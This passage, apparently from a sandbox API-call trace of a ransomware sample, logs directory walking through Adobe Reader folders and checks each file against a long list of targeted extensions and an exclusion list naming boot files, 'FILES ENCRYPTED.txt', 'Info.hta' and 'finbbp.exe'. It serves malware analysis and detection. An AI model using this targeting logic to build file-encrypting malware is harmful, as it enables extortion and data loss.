returned -1 [0272.045] lstrlenW (lpString=".anim") returned 5 [0272.045] lstrcmpiW (lpString1=".anim", lpString2="gs.js") returned -1 [0272.045] lstrlenW (lpString=".arw") returned 4 [0272.045] lstrcmpiW (lpString1=".arw", lpString2="s.js") returned -1 [0272.045] lstrlenW (lpString=".as") returned 3 [0272.045] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1 [0272.045] lstrlenW (lpString=".asa") returned 4 [0272.045] lstrcmpiW (lpString1=".asa", lpString2="s.js") returned -1 [0272.045] lstrlenW (lpString=".asc") returned 4 [0272.045] lstrcmpiW (lpString1=".asc", lpString2="s.js") returned -1 [0272.045] lstrlenW (lpString=".ascx") returned 5 [0272.045] lstrcmpiW (lpString1=".ascx", lpString2="gs.js") returned -1 [0272.045] lstrlenW (lpString=".asm") returned 4 [0272.045] lstrcmpiW (lpString1=".asm", lpString2="s.js") returned -1 [0272.045] lstrlenW (lpString=".asmx") returned 5 [0272.045] lstrcmpiW (lpString1=".asmx", lpString2="gs.js") returned -1 [0272.045] lstrlenW (lpString=".asp") returned 4 [0272.045] lstrcmpiW (lpString1=".asp", lpString2="s.js") returned -1 [0272.045] lstrlenW (lpString=".aspx") returned 5 [0272.045] lstrcmpiW (lpString1=".aspx", lpString2="gs.js") returned -1 [0272.045] lstrlenW (lpString=".asr") returned 4 [0272.045] lstrcmpiW (lpString1=".asr", lpString2="s.js") returned -1 [0272.045] lstrlenW (lpString=".asx") returned 4 [0272.045] lstrcmpiW (lpString1=".asx", lpString2="s.js") returned -1 [0272.045] lstrlenW (lpString=".avi") returned 4 [0272.045] lstrcmpiW (lpString1=".avi", lpString2="s.js") returned -1 [0272.045] lstrlenW (lpString=".avs") returned 4 [0272.046] lstrcmpiW (lpString1=".avs", lpString2="s.js") returned -1 [0272.046] lstrlenW (lpString=".backup") returned 7 [0272.046] lstrcmpiW (lpString1=".backup", lpString2="ings.js") returned -1 [0272.046] lstrlenW (lpString=".bak") returned 4 [0272.046] lstrcmpiW (lpString1=".bak", lpString2="s.js") returned -1 [0272.046] lstrlenW (lpString=".bay") returned 4 [0272.046] lstrcmpiW (lpString1=".bay", lpString2="s.js") returned -1 [0272.046] lstrlenW (lpString=".bd") returned 3 [0272.046] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1 [0272.046] lstrlenW (lpString=".bin") returned 4 [0272.046] lstrcmpiW (lpString1=".bin", lpString2="s.js") returned -1 [0272.046] lstrlenW (lpString=".bmp") returned 4 [0272.046] lstrcmpiW (lpString1=".bmp", lpString2="s.js") returned -1 [0272.046] lstrlenW (lpString=".bz2") returned 4 [0272.046] lstrcmpiW (lpString1=".bz2", lpString2="s.js") returned -1 [0272.046] lstrlenW (lpString=".c") returned 2 [0272.046] lstrcmpiW (lpString1=".c", lpString2="js") returned -1 [0272.046] lstrlenW (lpString=".cdr") returned 4 [0272.046] lstrcmpiW (lpString1=".cdr", lpString2="s.js") returned -1 [0272.046] lstrlenW (lpString=".cer") returned 4 [0272.046] lstrcmpiW (lpString1=".cer", lpString2="s.js") returned -1 [0272.046] lstrlenW (lpString=".cf") returned 3 [0272.046] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1 [0272.046] lstrlenW (lpString=".cfc") returned 4 [0272.046] lstrcmpiW (lpString1=".cfc", lpString2="s.js") returned -1 [0272.046] lstrlenW (lpString=".cfm") returned 4 [0272.046] lstrcmpiW (lpString1=".cfm", lpString2="s.js") returned -1 [0272.047] lstrlenW (lpString=".cfml") returned 5 [0272.047] lstrcmpiW (lpString1=".cfml", lpString2="gs.js") returned -1 [0272.047] lstrlenW (lpString=".cfu") returned 4 [0272.047] lstrcmpiW (lpString1=".cfu", lpString2="s.js") returned -1 [0272.047] lstrlenW (lpString=".chm") returned 4 [0272.047] lstrcmpiW (lpString1=".chm", lpString2="s.js") returned -1 [0272.047] lstrlenW (lpString=".cin") returned 4 [0272.047] lstrcmpiW (lpString1=".cin", lpString2="s.js") returned -1 [0272.047] lstrlenW (lpString=".class") returned 6 [0272.047] lstrcmpiW (lpString1=".class", lpString2="ngs.js") returned -1 [0272.047] lstrlenW (lpString=".clx") returned 4 [0272.047] lstrcmpiW (lpString1=".clx", lpString2="s.js") returned -1 [0272.047] lstrlenW (lpString=".config") returned 7 [0272.047] lstrcmpiW (lpString1=".config", lpString2="ings.js") returned -1 [0272.047] lstrlenW (lpString=".cpp") returned 4 [0272.047] lstrcmpiW (lpString1=".cpp", lpString2="s.js") returned -1 [0272.047] lstrlenW (lpString=".cr2") returned 4 [0272.047] lstrcmpiW (lpString1=".cr2", lpString2="s.js") returned -1 [0272.047] lstrlenW (lpString=".crt") returned 4 [0272.047] lstrcmpiW (lpString1=".crt", lpString2="s.js") returned -1 [0272.047] lstrlenW (lpString=".crw") returned 4 [0272.047] lstrcmpiW (lpString1=".crw", lpString2="s.js") returned -1 [0272.047] lstrlenW (lpString=".cs") returned 3 [0272.047] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1 [0272.047] lstrlenW (lpString=".css") returned 4 [0272.047] lstrcmpiW (lpString1=".css", lpString2="s.js") returned -1 [0272.047] lstrlenW (lpString=".csv") returned 4 [0272.047] lstrcmpiW (lpString1=".csv", lpString2="s.js") returned -1 [0272.048] lstrlenW (lpString=".cub") returned 4 [0272.048] lstrcmpiW (lpString1=".cub", lpString2="s.js") returned -1 [0272.048] lstrlenW (lpString=".dae") returned 4 [0272.048] lstrcmpiW (lpString1=".dae", lpString2="s.js") returned -1 [0272.048] lstrlenW (lpString=".dat") returned 4 [0272.048] lstrcmpiW (lpString1=".dat", lpString2="s.js") returned -1 [0272.048] lstrlenW (lpString=".db") returned 3 [0272.048] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1 [0272.048] lstrlenW (lpString=".dbf") returned 4 [0272.048] lstrcmpiW (lpString1=".dbf", lpString2="s.js") returned -1 [0272.048] lstrlenW (lpString=".dbx") returned 4 [0272.048] lstrcmpiW (lpString1=".dbx", lpString2="s.js") returned -1 [0272.048] lstrlenW (lpString=".dc3") returned 4 [0272.048] lstrcmpiW (lpString1=".dc3", lpString2="s.js") returned -1 [0272.048] lstrlenW (lpString=".dcm") returned 4 [0272.048] lstrcmpiW (lpString1=".dcm", lpString2="s.js") returned -1 [0272.048] lstrlenW (lpString=".dcr") returned 4 [0272.048] lstrcmpiW (lpString1=".dcr", lpString2="s.js") returned -1 [0272.048] lstrlenW (lpString=".der") returned 4 [0272.048] lstrcmpiW (lpString1=".der", lpString2="s.js") returned -1 [0272.048] lstrlenW (lpString=".dib") returned 4 [0272.048] lstrcmpiW (lpString1=".dib", lpString2="s.js") returned -1 [0272.049] lstrlenW (lpString=".dic") returned 4 [0272.049] lstrcmpiW (lpString1=".dic", lpString2="s.js") returned -1 [0272.049] lstrlenW (lpString=".dif") returned 4 [0272.049] lstrcmpiW (lpString1=".dif", lpString2="s.js") returned -1 [0272.049] lstrlenW (lpString=".divx") returned 5 [0272.049] lstrcmpiW (lpString1=".divx", lpString2="gs.js") returned -1 [0272.049] lstrlenW (lpString=".djvu") returned 5 [0272.049] lstrcmpiW (lpString1=".djvu", lpString2="gs.js") returned -1 [0272.049] lstrlenW (lpString=".dng") returned 4 [0272.049] lstrcmpiW (lpString1=".dng", lpString2="s.js") returned -1 [0272.049] lstrlenW (lpString=".doc") returned 4 [0272.049] lstrcmpiW (lpString1=".doc", lpString2="s.js") returned -1 [0272.049] lstrlenW (lpString=".docm") returned 5 [0272.049] lstrcmpiW (lpString1=".docm", lpString2="gs.js") returned -1 [0272.049] lstrlenW (lpString=".docx") returned 5 [0272.049] lstrcmpiW (lpString1=".docx", lpString2="gs.js") returned -1 [0272.049] lstrlenW (lpString=".dot") returned 4 [0272.049] lstrcmpiW (lpString1=".dot", lpString2="s.js") returned -1 [0272.049] lstrlenW (lpString=".dotm") returned 5 [0272.049] lstrcmpiW (lpString1=".dotm", lpString2="gs.js") returned -1 [0272.049] lstrlenW (lpString=".dotx") returned 5 [0272.049] lstrcmpiW (lpString1=".dotx", lpString2="gs.js") returned -1 [0272.049] lstrlenW (lpString=".dpx") returned 4 [0272.049] lstrcmpiW (lpString1=".dpx", lpString2="s.js") returned -1 [0272.049] lstrlenW (lpString=".dqy") returned 4 [0272.049] lstrcmpiW (lpString1=".dqy", lpString2="s.js") returned -1 [0272.049] lstrlenW (lpString=".dsn") returned 4 [0272.049] lstrcmpiW (lpString1=".dsn", lpString2="s.js") returned -1 [0272.050] lstrlenW (lpString=".dt") returned 3 [0272.050] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1 [0272.050] lstrlenW (lpString=".dtd") returned 4 [0272.050] lstrcmpiW (lpString1=".dtd", lpString2="s.js") returned -1 [0272.050] lstrlenW (lpString=".dwg") returned 4 [0272.050] lstrcmpiW (lpString1=".dwg", lpString2="s.js") returned -1 [0272.050] lstrlenW (lpString=".dwt") returned 4 [0272.050] lstrcmpiW (lpString1=".dwt", lpString2="s.js") returned -1 [0272.050] lstrlenW (lpString=".dx") returned 3 [0272.050] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1 [0272.050] lstrlenW (lpString=".dxf") returned 4 [0272.050] lstrcmpiW (lpString1=".dxf", lpString2="s.js") returned -1 [0272.050] lstrlenW (lpString=".edml") returned 5 [0272.050] lstrcmpiW (lpString1=".edml", lpString2="gs.js") returned -1 [0272.050] lstrlenW (lpString=".efd") returned 4 [0272.050] lstrcmpiW (lpString1=".efd", lpString2="s.js") returned -1 [0272.050] lstrlenW (lpString=".elf") returned 4 [0272.050] lstrcmpiW (lpString1=".elf", lpString2="s.js") returned -1 [0272.050] lstrlenW (lpString=".emf") returned 4 [0272.050] lstrcmpiW (lpString1=".emf", lpString2="s.js") returned -1 [0272.050] lstrlenW (lpString=".emz") returned 4 [0272.050] lstrcmpiW (lpString1=".emz", lpString2="s.js") returned -1 [0272.050] lstrlenW (lpString=".epf") returned 4 [0272.051] lstrcmpiW (lpString1=".epf", lpString2="s.js") returned -1 [0272.051] lstrlenW (lpString=".eps") returned 4 [0272.051] lstrcmpiW (lpString1=".eps", lpString2="s.js") returned -1 [0272.051] lstrlenW (lpString=".epsf") returned 5 [0272.051] lstrcmpiW (lpString1=".epsf", lpString2="gs.js") returned -1 [0272.051] lstrlenW (lpString=".epsp") returned 5 [0272.051] lstrcmpiW (lpString1=".epsp", lpString2="gs.js") returned -1 [0272.051] lstrlenW (lpString=".erf") returned 4 [0272.051] lstrcmpiW (lpString1=".erf", lpString2="s.js") returned -1 [0272.051] lstrlenW (lpString=".exr") returned 4 [0272.051] lstrcmpiW (lpString1=".exr", lpString2="s.js") returned -1 [0272.051] lstrlenW (lpString=".f4v") returned 4 [0272.051] lstrcmpiW (lpString1=".f4v", lpString2="s.js") returned -1 [0272.051] lstrlenW (lpString=".fido") returned 5 [0272.051] lstrcmpiW (lpString1=".fido", lpString2="gs.js") returned -1 [0272.051] lstrlenW (lpString=".flm") returned 4 [0272.051] lstrcmpiW (lpString1=".flm", lpString2="s.js") returned -1 [0272.051] lstrlenW (lpString=".flv") returned 4 [0272.051] lstrcmpiW (lpString1=".flv", lpString2="s.js") returned -1 [0272.051] lstrlenW (lpString=".frm") returned 4 [0272.051] lstrcmpiW (lpString1=".frm", lpString2="s.js") returned -1 [0272.051] lstrlenW (lpString=".fxg") returned 4 [0272.051] lstrcmpiW (lpString1=".fxg", lpString2="s.js") returned -1 [0272.051] lstrlenW (lpString=".geo") returned 4 [0272.051] lstrcmpiW (lpString1=".geo", lpString2="s.js") returned -1 [0272.051] lstrlenW (lpString=".gif") returned 4 [0272.051] lstrcmpiW (lpString1=".gif", lpString2="s.js") returned -1 [0272.052] lstrlenW (lpString=".grs") returned 4 [0272.052] lstrcmpiW (lpString1=".grs", lpString2="s.js") returned -1 [0272.052] lstrlenW (lpString=".gz") returned 3 [0272.052] lstrcmpiW (lpString1=".gz", lpString2=".js") returned -1 [0272.052] lstrlenW (lpString=".h") returned 2 [0272.052] lstrcmpiW (lpString1=".h", lpString2="js") returned -1 [0272.052] lstrlenW (lpString=".hdr") returned 4 [0272.052] lstrcmpiW (lpString1=".hdr", lpString2="s.js") returned -1 [0272.052] lstrlenW (lpString=".hpp") returned 4 [0272.052] lstrcmpiW (lpString1=".hpp", lpString2="s.js") returned -1 [0272.052] lstrlenW (lpString=".hta") returned 4 [0272.052] lstrcmpiW (lpString1=".hta", lpString2="s.js") returned -1 [0272.052] lstrlenW (lpString=".htc") returned 4 [0272.052] lstrcmpiW (lpString1=".htc", lpString2="s.js") returned -1 [0272.052] lstrlenW (lpString=".htm") returned 4 [0272.052] lstrcmpiW (lpString1=".htm", lpString2="s.js") returned -1 [0272.052] lstrlenW (lpString=".html") returned 5 [0272.052] lstrcmpiW (lpString1=".html", lpString2="gs.js") returned -1 [0272.052] lstrlenW (lpString=".icb") returned 4 [0272.052] lstrcmpiW (lpString1=".icb", lpString2="s.js") returned -1 [0272.052] lstrlenW (lpString=".ics") returned 4 [0272.052] lstrcmpiW (lpString1=".ics", lpString2="s.js") returned -1 [0272.052] lstrlenW (lpString=".iff") returned 4 [0272.052] lstrcmpiW (lpString1=".iff", lpString2="s.js") returned -1 [0272.052] lstrlenW (lpString=".inc") returned 4 [0272.052] lstrcmpiW (lpString1=".inc", lpString2="s.js") returned -1 [0272.053] lstrlenW (lpString=".indd") returned 5 [0272.053] lstrcmpiW (lpString1=".indd", lpString2="gs.js") returned -1 [0272.053] lstrlenW (lpString=".ini") returned 4 [0272.053] lstrcmpiW (lpString1=".ini", lpString2="s.js") returned -1 [0272.053] lstrlenW (lpString=".iqy") returned 4 [0272.053] lstrcmpiW (lpString1=".iqy", lpString2="s.js") returned -1 [0272.053] lstrlenW (lpString=".j2c") returned 4 [0272.053] lstrcmpiW (lpString1=".j2c", lpString2="s.js") returned -1 [0272.053] lstrlenW (lpString=".j2k") returned 4 [0272.053] lstrcmpiW (lpString1=".j2k", lpString2="s.js") returned -1 [0272.053] lstrlenW (lpString=".java") returned 5 [0272.053] lstrcmpiW (lpString1=".java", lpString2="gs.js") returned -1 [0272.053] lstrlenW (lpString=".jp2") returned 4 [0272.053] lstrcmpiW (lpString1=".jp2", lpString2="s.js") returned -1 [0272.053] lstrlenW (lpString=".jpc") returned 4 [0272.053] lstrcmpiW (lpString1=".jpc", lpString2="s.js") returned -1 [0272.053] lstrlenW (lpString=".jpe") returned 4 [0272.053] lstrcmpiW (lpString1=".jpe", lpString2="s.js") returned -1 [0272.053] lstrlenW (lpString=".jpeg") returned 5 [0272.053] lstrcmpiW (lpString1=".jpeg", lpString2="gs.js") returned -1 [0272.053] lstrlenW (lpString=".jpf") returned 4 [0272.053] lstrcmpiW (lpString1=".jpf", lpString2="s.js") returned -1 [0272.053] lstrlenW (lpString=".jpg") returned 4 [0272.053] lstrcmpiW (lpString1=".jpg", lpString2="s.js") returned -1 [0272.053] lstrlenW (lpString=".jpx") returned 4 [0272.053] lstrcmpiW (lpString1=".jpx", lpString2="s.js") returned -1 [0272.053] lstrlenW (lpString=".js") returned 3 [0272.054] lstrcmpiW (lpString1=".js", lpString2=".js") returned 0 [0272.054] lstrlenW (lpString="ui-strings.js") returned 13 [0272.054] lstrlenW (lpString=".love$") returned 6 [0272.054] lstrcmpiW (lpString1=".love$", lpString2="ngs.js") returned -1 [0272.054] lstrlenW (lpString="ui-strings.js") returned 13 [0272.054] lstrcmpiW (lpString1="boot.ini", lpString2="ui-strings.js") returned -1 [0272.054] lstrcmpiW (lpString1="bootfont.bin", lpString2="ui-strings.js") returned -1 [0272.054] lstrcmpiW (lpString1="ntldr", lpString2="ui-strings.js") returned -1 [0272.054] lstrcmpiW (lpString1="ntdetect.com", lpString2="ui-strings.js") returned -1 [0272.054] lstrcmpiW (lpString1="io.sys", lpString2="ui-strings.js") returned -1 [0272.054] lstrcmpiW (lpString1="FILES ENCRYPTED.txt", lpString2="ui-strings.js") returned -1 [0272.054] lstrcmpiW (lpString1="Info.hta", lpString2="ui-strings.js") returned -1 [0272.054] lstrcmpiW (lpString1="finbbp.exe", lpString2="ui-strings.js") returned -1 [0272.054] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\en-il\\ui-strings.js") returned 133 [0272.054] FindNextFileW (in: hFindFile=0x33158b0, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x6dc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0272.054] FindClose (in: hFindFile=0x33158b0 | out: hFindFile=0x33158b0) returned 1 [0272.054] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4245db8 | out: hHeap=0x670000) returned 1 [0272.054] FindNextFileW (in: hFindFile=0x33159b0, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-es", cAlternateFileName="")) returned 1 [0272.055] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\es-es") returned 119 [0272.055] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\es-es") returned 1 [0272.055] lstrlenW (lpString="es-es") returned 5 [0272.055] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="es-es") returned -1 [0272.055] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4245db8 [0272.055] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\es-es") returned 119 [0272.055] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\es-es\\*", lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x33155f0 [0272.055] FindNextFileW (in: hFindFile=0x33155f0, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0272.055] FindNextFileW (in: hFindFile=0x33155f0, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x743, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0272.055] lstrlenW (lpString="ui-strings.js") returned 13 [0272.055] lstrlenW (lpString=".1cd") returned 4 [0272.055] lstrcmpiW (lpString1=".1cd", lpString2="s.js") returned -1 [0272.055] lstrlenW (lpString=".3ds") returned 4 [0272.056] lstrcmpiW (lpString1=".3ds", lpString2="s.js") returned -1 [0272.056] lstrlenW (lpString=".3fr") returned 4 [0272.056] lstrcmpiW (lpString1=".3fr", lpString2="s.js") returned -1 [0272.056] lstrlenW (lpString=".3g2") returned 4 [0272.056] lstrcmpiW (lpString1=".3g2", lpString2="s.js") returned -1 [0272.056] lstrlenW (lpString=".3gp") returned 4 [0272.056] lstrcmpiW (lpString1=".3gp", lpString2="s.js") returned -1 [0272.056] lstrlenW (lpString=".7z") returned 3 [0272.056] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0272.056] lstrlenW (lpString=".accda") returned 6 [0272.056] lstrcmpiW (lpString1=".accda", lpString2="ngs.js") returned -1 [0272.056] lstrlenW (lpString=".accdb") returned 6 [0272.056] lstrcmpiW (lpString1=".accdb", lpString2="ngs.js") returned -1 [0272.056] lstrlenW (lpString=".accdc") returned 6 [0272.056] lstrcmpiW (lpString1=".accdc", lpString2="ngs.js") returned -1 [0272.056] lstrlenW (lpString=".accde") returned 6 [0272.056] lstrcmpiW (lpString1=".accde", lpString2="ngs.js") returned -1 [0272.056] lstrlenW (lpString=".accdt") returned 6 [0272.056] lstrcmpiW (lpString1=".accdt", lpString2="ngs.js") returned -1 [0272.056] lstrlenW (lpString=".accdw") returned 6 [0272.056] lstrcmpiW (lpString1=".accdw", lpString2="ngs.js") returned -1 [0272.056] lstrlenW (lpString=".adb") returned 4 [0272.056] lstrcmpiW (lpString1=".adb", lpString2="s.js") returned -1 [0272.056] lstrlenW (lpString=".adp") returned 4 [0272.056] lstrcmpiW (lpString1=".adp", lpString2="s.js") returned -1 [0272.056] lstrlenW (lpString=".ai") returned 3 [0272.056] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1 [0272.057] lstrlenW (lpString=".ai3") returned 4 [0272.057] lstrcmpiW (lpString1=".ai3", lpString2="s.js") returned -1 [0272.057] lstrlenW (lpString=".ai4") returned 4 [0272.057] lstrcmpiW (lpString1=".ai4", lpString2="s.js") returned -1 [0272.057] lstrlenW (lpString=".ai5") returned 4 [0272.057] lstrcmpiW (lpString1=".ai5", lpString2="s.js") returned -1 [0272.057] lstrlenW (lpString=".ai6") returned 4 [0272.057] lstrcmpiW (lpString1=".ai6", lpString2="s.js") returned -1 [0272.057] lstrlenW (lpString=".ai7") returned 4 [0272.057] lstrcmpiW (lpString1=".ai7", lpString2="s.js") returned -1 [0272.057] lstrlenW (lpString=".ai8") returned 4 [0272.057] lstrcmpiW (lpString1=".ai8", lpString2="s.js") returned -1 [0272.057] lstrlenW (lpString=".anim") returned 5 [0272.057] lstrcmpiW (lpString1=".anim", lpString2="gs.js") returned -1 [0272.057] lstrlenW (lpString=".arw") returned 4 [0272.057] lstrcmpiW (lpString1=".arw", lpString2="s.js") returned -1 [0272.057] lstrlenW (lpString=".as") returned 3 [0272.057] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1 [0272.057] lstrlenW (lpString=".asa") returned 4 [0272.057] lstrcmpiW (lpString1=".asa", lpString2="s.js") returned -1 [0272.057] lstrlenW (lpString=".asc") returned 4 [0272.057] lstrcmpiW (lpString1=".asc", lpString2="s.js") returned -1 [0272.057] lstrlenW (lpString=".ascx") returned 5 [0272.057] lstrcmpiW (lpString1=".ascx", lpString2="gs.js") returned -1 [0272.057] lstrlenW (lpString=".asm") returned 4 [0272.057] lstrcmpiW (lpString1=".asm", lpString2="s.js") returned -1 [0272.057] lstrlenW (lpString=".asmx") returned 5 [0272.058] lstrcmpiW (lpString1=".asmx", lpString2="gs.js") returned -1 [0272.058] lstrlenW (lpString=".asp") returned 4 [0272.058] lstrcmpiW (lpString1=".asp", lpString2="s.js") returned -1 [0272.058] lstrlenW (lpString=".aspx") returned 5 [0272.058] lstrcmpiW (lpString1=".aspx", lpString2="gs.js") returned -1 [0272.058] lstrlenW (lpString=".asr") returned 4 [0272.058] lstrcmpiW (lpString1=".asr", lpString2="s.js") returned -1 [0272.058] lstrlenW (lpString=".asx") returned 4 [0272.058] lstrcmpiW (lpString1=".asx", lpString2="s.js") returned -1 [0272.058] lstrlenW (lpString=".avi") returned 4 [0272.058] lstrcmpiW (lpString1=".avi", lpString2="s.js") returned -1 [0272.058] lstrlenW (lpString=".avs") returned 4 [0272.058] lstrcmpiW (lpString1=".avs", lpString2="s.js") returned -1 [0272.058] lstrlenW (lpString=".backup") returned 7 [0272.058] lstrcmpiW (lpString1=".backup", lpString2="ings.js") returned -1 [0272.058] lstrlenW (lpString=".bak") returned 4 [0272.058] lstrcmpiW (lpString1=".bak", lpString2="s.js") returned -1 [0272.058] lstrlenW (lpString=".bay") returned 4 [0272.058] lstrcmpiW (lpString1=".bay", lpString2="s.js") returned -1 [0272.058] lstrlenW (lpString=".bd") returned 3 [0272.058] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1 [0272.058] lstrlenW (lpString=".bin") returned 4 [0272.058] lstrcmpiW (lpString1=".bin", lpString2="s.js") returned -1 [0272.059] lstrlenW (lpString=".bmp") returned 4 [0272.059] lstrcmpiW (lpString1=".bmp", lpString2="s.js") returned -1 [0272.059] lstrlenW (lpString=".bz2") returned 4 [0272.059] lstrcmpiW (lpString1=".bz2", lpString2="s.js") returned -1 [0272.059] lstrlenW (lpString=".c") returned 2 [0272.059] lstrcmpiW (lpString1=".c", lpString2="js") returned -1 [0272.059] lstrlenW (lpString=".cdr") returned 4 [0272.059] lstrcmpiW (lpString1=".cdr", lpString2="s.js") returned -1 [0272.059] lstrlenW (lpString=".cer") returned 4 [0272.059] lstrcmpiW (lpString1=".cer", lpString2="s.js") returned -1 [0272.059] lstrlenW (lpString=".cf") returned 3 [0272.059] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1 [0272.059] lstrlenW (lpString=".cfc") returned 4 [0272.059] lstrcmpiW (lpString1=".cfc", lpString2="s.js") returned -1 [0272.059] lstrlenW (lpString=".cfm") returned 4 [0272.059] lstrcmpiW (lpString1=".cfm", lpString2="s.js") returned -1 [0272.059] lstrlenW (lpString=".cfml") returned 5 [0272.059] lstrcmpiW (lpString1=".cfml", lpString2="gs.js") returned -1 [0272.059] lstrlenW (lpString=".cfu") returned 4 [0272.059] lstrcmpiW (lpString1=".cfu", lpString2="s.js") returned -1 [0272.059] lstrlenW (lpString=".chm") returned 4 [0272.059] lstrcmpiW (lpString1=".chm", lpString2="s.js") returned -1 [0272.059] lstrlenW (lpString=".cin") returned 4 [0272.059] lstrcmpiW (lpString1=".cin", lpString2="s.js") returned -1 [0272.059] lstrlenW (lpString=".class") returned 6 [0272.059] lstrcmpiW (lpString1=".class", lpString2="ngs.js") returned -1 [0272.060] lstrlenW (lpString=".clx") returned 4 [0272.060] lstrcmpiW (lpString1=".clx", lpString2="s.js") returned -1 [0272.060] lstrlenW (lpString=".config") returned 7 [0272.060] lstrcmpiW (lpString1=".config", lpString2="ings.js") returned -1 [0272.060] lstrlenW (lpString=".cpp") returned 4 [0272.060] lstrcmpiW (lpString1=".cpp", lpString2="s.js") returned -1 [0272.060] lstrlenW (lpString=".cr2") returned 4 [0272.060] lstrcmpiW (lpString1=".cr2", lpString2="s.js") returned -1 [0272.060] lstrlenW (lpString=".crt") returned 4 [0272.060] lstrcmpiW (lpString1=".crt", lpString2="s.js") returned -1 [0272.060] lstrlenW (lpString=".crw") returned 4 [0272.060] lstrcmpiW (lpString1=".crw", lpString2="s.js") returned -1 [0272.060] lstrlenW (lpString=".cs") returned 3 [0272.060] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1 [0272.060] lstrlenW (lpString=".css") returned 4 [0272.060] lstrcmpiW (lpString1=".css", lpString2="s.js") returned -1 [0272.060] lstrlenW (lpString=".csv") returned 4 [0272.060] lstrcmpiW (lpString1=".csv", lpString2="s.js") returned -1 [0272.060] lstrlenW (lpString=".cub") returned 4 [0272.060] lstrcmpiW (lpString1=".cub", lpString2="s.js") returned -1 [0272.060] lstrlenW (lpString=".dae") returned 4 [0272.060] lstrcmpiW (lpString1=".dae", lpString2="s.js") returned -1 [0272.060] lstrlenW (lpString=".dat") returned 4 [0272.061] lstrcmpiW (lpString1=".dat", lpString2="s.js") returned -1 [0272.061] lstrlenW (lpString=".db") returned 3 [0272.061] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1 [0272.061] lstrlenW (lpString=".dbf") returned 4 [0272.061] lstrcmpiW (lpString1=".dbf", lpString2="s.js") returned -1 [0272.061] lstrlenW (lpString=".dbx") returned 4 [0272.061] lstrcmpiW (lpString1=".dbx", lpString2="s.js") returned -1 [0272.061] lstrlenW (lpString=".dc3") returned 4 [0272.061] lstrcmpiW (lpString1=".dc3", lpString2="s.js") returned -1 [0272.061] lstrlenW (lpString=".dcm") returned 4 